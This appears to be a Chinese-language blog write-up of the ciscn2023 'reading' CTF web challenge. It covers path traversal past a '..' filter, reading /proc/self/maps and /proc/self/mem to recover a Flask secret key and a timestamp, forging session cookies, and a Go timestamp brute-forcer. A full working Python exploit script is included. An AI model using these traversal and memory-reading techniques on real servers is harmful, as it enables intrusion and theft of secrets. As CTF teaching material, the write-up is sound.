Home ciscn2023 reading
Post
Cancel

ciscn2023 reading

题目描述

  • 可以阅读.txt书籍

漏洞点

因为是黑盒题,所以一个显然的方法就是寻找路径穿越去读文件,尝试../之类的,发现只剩了./,因此考虑..被替换了,改一下就能任意文件读

任意文件读

常见敏感路径

接下来借助经典的两个目录/proc/self/environ && /proc/self/cmdline 来读更多信息,获取源代码

题目源码

/proc/self/cwd/app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
# -*- coding:utf8 -*-
import os
import math
import time
import hashlib
from flask import Flask, request, session, render_template, send_file
from datetime import datetime
app = Flask(__name__)
app.secret_key = hashlib.md5(os.urandom(32)).hexdigest()
key = hashlib.md5(str(time.time_ns()).encode()).hexdigest()
print('secret',app.secret_key)
print('key',key)
books = os.listdir('./books')
books.sort(reverse=True)


@app.route('/')
def index():
    if session:
        book = session['book']
        page = session['page']
        page_size = session['page_size']
        total_pages = session['total_pages']
        filepath = session['filepath']

        words = read_file_page(filepath, page, page_size)
        return render_template('index.html', books=books, words=words)
    return render_template('index.html', books=books )


@app.route('/books', methods=['GET', 'POST'])
def book_page():
    if request.args.get('book'):
        book = request.args.get('book')
    elif session:
        book = session.get('book')
    else:
        return render_template('index.html', books=books, message='I need book')
    book=book.replace('..','.')
    filepath = './books/' + book

    if request.args.get('page_size'):
        page_size = int(request.args.get('page_size'))
    elif session:
        page_size = int(session.get('page_size'))
    else:
        page_size = 3000
    total_pages = math.ceil(os.path.getsize(filepath) / page_size)

    if request.args.get('page'):
        page = int(request.args.get('page'))
    elif session:
        page = int(session.get('page'))
    else:
        page = 1
    words = read_file_page(filepath, page, page_size)
    prev_page = page - 1 if page > 1 else None
    next_page = page + 1 if page < total_pages else None

    session['book'] = book
    session['page'] = page
    session['page_size'] = page_size
    session['total_pages'] = total_pages
    session['prev_page'] = prev_page
    session['next_page'] = next_page
    session['filepath'] = filepath
    return render_template('index.html', books=books, words=words )


@app.route('/flag', methods=['GET', 'POST'])
def flag():
    if hashlib.md5(session.get('key').encode()).hexdigest() == key:
        return os.popen('/readflag').read()
    else:
        return "no no no"

def read_file_page(filename, page_number, page_size):
    for i in range(3):
        for j in range(3):
            size=page_size + j
            offset = (page_number - 1) * page_size+i
            try:
                with open(filename, 'rb') as file:
                    file.seek(offset)
                    words = file.read(size)
                return words.decode().split('\n')
            except Exception as e:
                pass
        #if error again
        offset = (page_number - 1) * page_size
        with open(filename, 'rb') as file:
            file.seek(offset)
            words = file.read(page_size)
        return words.split(b'\n')


if __name__ == '__main__':
    app.run(host='0.0.0.0', port='8000')

/proc/self/cwd/app.py

1
2
3
4
bind = "0.0.0.0:8000"
timeout = 10
workers = 4
threads = 4

secret_key、key的随机性都很强,只能考虑读内存去找

/proc/self/maps/proc/self/mem

  • 因为内存里有些区域不可读,所以需要利用/proc/self/maps去读段的起始地址和结束地址
  • thread worker
    • gunicorn是多进程的,每个进程里面开辟了多个线程来响应多个请求 这个在config.py里可以看到
    • 本题会产生四个进程,因此每次读的/proc/self/maps会有细微的差别
    • 四个进程会产生八个md5,因此每次读的内容不一样是正常的
  • 读出内容后直接用正则寻找md5,本地测试发现md5前都有\x00,在响应里呈现为\x00ba1f2511fc30423bdbb183fe33f3dd0f
    • 因此考虑将x00作为前缀去找,避免正则经常找到一些00开头的md5
  • 获取/flag需要获取时间戳 这一部分我在本地看了一下 这种临时变量在内存里找不到,因此考虑搜索时间相关的日期
    • gunicorn在启动时,会打印消息[2023-05-29 04:22:02 +0000] [11] [INFO] Booting worker with pid: 11
    • 因此仍然考虑在内存中搜索相关内容,转成纳秒时间戳后,使用golang脚本去爆破
    • 本地起docker,使用命令gdb attach pid上去后发现这段内容会在heap段中存在 因此该做法可行

注意到我们读内存时,会有大量的不可见字符,words.decode().split('\n')一定会报错,所以只要关注注释处后面的代码就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def read_file_page(filename, page_number, page_size):
    for i in range(3):
        for j in range(3):
            size=page_size + j
            offset = (page_number - 1) * page_size+i
            try:
                with open(filename, 'rb') as file:
                    file.seek(offset)
                    words = file.read(size)
                return words.decode().split('\n')
            except Exception as e:
                pass
        #if error again
        offset = (page_number - 1) * page_size
        with open(filename, 'rb') as file:
            file.seek(offset)
            words = file.read(page_size)
        return words.split(b'\n')

我们的需求是

  • 最好能够一次读完,不然时间开销很大,因此page_size要尽可能大
  • page_size + offset 不要超过段结束地址 offset不要低于段起始地址,这里我写了一个函数去寻找max_page_size
  • 对于不得不采用多个page的情况,则一页页去读

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import requests,re,hashlib,os
from tqdm import tqdm
maps_url = f"http://god.cc:10003/books?book=..././..././..././..././..././..././proc/self/maps&page_size=111111"
r = requests.get(maps_url)
maps = re.findall("([a-z0-9]{8,}-[a-z0-9]{8,}) rw.*?00000000 00:00 0", r.text)
maps = maps[::-1]

# 获取大量cookie便于搜索对应的secret
def get_cookies():
    ans = []
    for i in range(32):
        r = requests.get('http://god.cc:10003/books?book=1.txt')
        ans.append(r.headers['Set-Cookie'].split(';')[0].split('=')[1])
    return list(set(ans))
        
def check_secret(secret):
    cookie = get_cookies()
    for c in cookie:
        data = os.popen(f"cd /Users/godspeed/Downloads/exploit/flask-session-cookie-manager && python3 flask_session_cookie_manager3.py decode -c '{c}' -s '{secret}'").read()
        if 'Decoding error' not in data:
            print(c, secret)

def check(page_number, page_size, start, end):
    offset = (page_number - 1) * page_size
    return offset >= start and offset <= end and offset + page_size <= end

def get_max_page_size(start, end):
    page_size = end - start
    while True:
        if check((start ) // page_size + 1, page_size,start,end):
            break
        page_size -= 1
    return page_size

def read(page_size, page_number):
    try:
        read_url = f'http://god.cc:10003/books?book=..././..././..././..././..././..././proc/self/mem&page_size={page_size}&page={page_number}'
        data = requests.get(read_url,timeout=2).content
        res1 = re.findall(b"x00([0-9a-f]{32})", data)
        res2 = re.findall(b"(2023-05-29 [0-9]{2}:[0-9]{2}:[0-9]{2} \+0000)",data)
        for x in res1:
            check_secret(x.decode())
        return set(res1 + res2)
    except Exception as e:
        print(e)
        return set()

def get_fake_cookie(secret, timestamp):
    d = "{'key': '%s'}" % timestamp
    print(f'cd /Users/godspeed/Downloads/exploit/flask-session-cookie-manager && python3 flask_session_cookie_manager3.py encode -t "{d}" -s "{secret}"')
    return os.popen(f'cd /Users/godspeed/Downloads/exploit/flask-session-cookie-manager && python3 flask_session_cookie_manager3.py encode -t "{d}" -s "{secret}"').read().strip()

def get_flag(secret, timestamp):
    for i in range(100):
        r = requests.get('http://god.cc:10003/flag',headers={'Cookie':'session=' + get_fake_cookie(secret=secret, timestamp=timestamp)})
        if r.status_code == 200:
            print(r.text)
            break
        
ans = set()

if __name__ == "__main__":
    for m in maps:
        start, end = int(m.split("-")[0],16), int(m.split("-")[1],16)
        print(f"[start]{hex(start)} [end]{hex(end)}")
        page_size = get_max_page_size(start, end)
        
        page_number = (start) // page_size + 1
        now_page = page_number
        bar = tqdm(total = (end - start)// page_size)
        while check(now_page, page_size, start, end):
            bar.update(1)
            ans |= read(page_size,now_page)
            now_page += 1
        bar.close()
    print(ans)
    """
    .eJyrVkrKz89WslIy1CupKFHSUUrLzEktSCzJAArp6YPkivVhUnmpFSXxBYnpqUpWeaU5OTpKELYhhBFfnFkF5BkbGBgABYpSy1CUluSXJOaARYqBOmoB_cMnEQ.ZHQohg.YTX_aEE4RPuQcynWGJHsA-nxZ_s 
    secret: 88f98c7a0de2ca1df7239919457e01d6
    1685334122820460046
    9ea76cd3d0fde70b02495587fa685820
    """
    # get_flag(secret='88f98c7a0de2ca1df7239919457e01d6', timestamp='1685334122820460046')
        

        

爆破时间戳

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package main

import (
	"crypto/md5"
	"encoding/hex"
	"fmt"
	"strconv"
)

func md5V(str string) string {
	h := md5.New()
	h.Write([]byte(str))
	return hex.EncodeToString(h.Sum(nil))
}
func main() {
	target := "96461deced5c2a487ddc65207ec5a9cf"
	target1 := "9ea76cd3d0fde70b02495587fa685820"
	// start := time.Now().UnixNano()
	// 2023-05-29 04:22:02 UTC

	start := int64(1685334122000000000)
	cnt := 0
	for {

		if cnt > 10000000 && cnt%10000000 == 0 {
			fmt.Println(cnt / 10000000)
		}
		cnt += 1
		s := md5V(strconv.FormatInt(start, 10))

		if s == target {
			fmt.Println(start)
			fmt.Println(s)

			break
		}
		if s == target1 {
			fmt.Println(start)
			fmt.Println(s)
			break
		}
		start += 1
	}

}
This post is licensed under CC BY 4.0 by the author.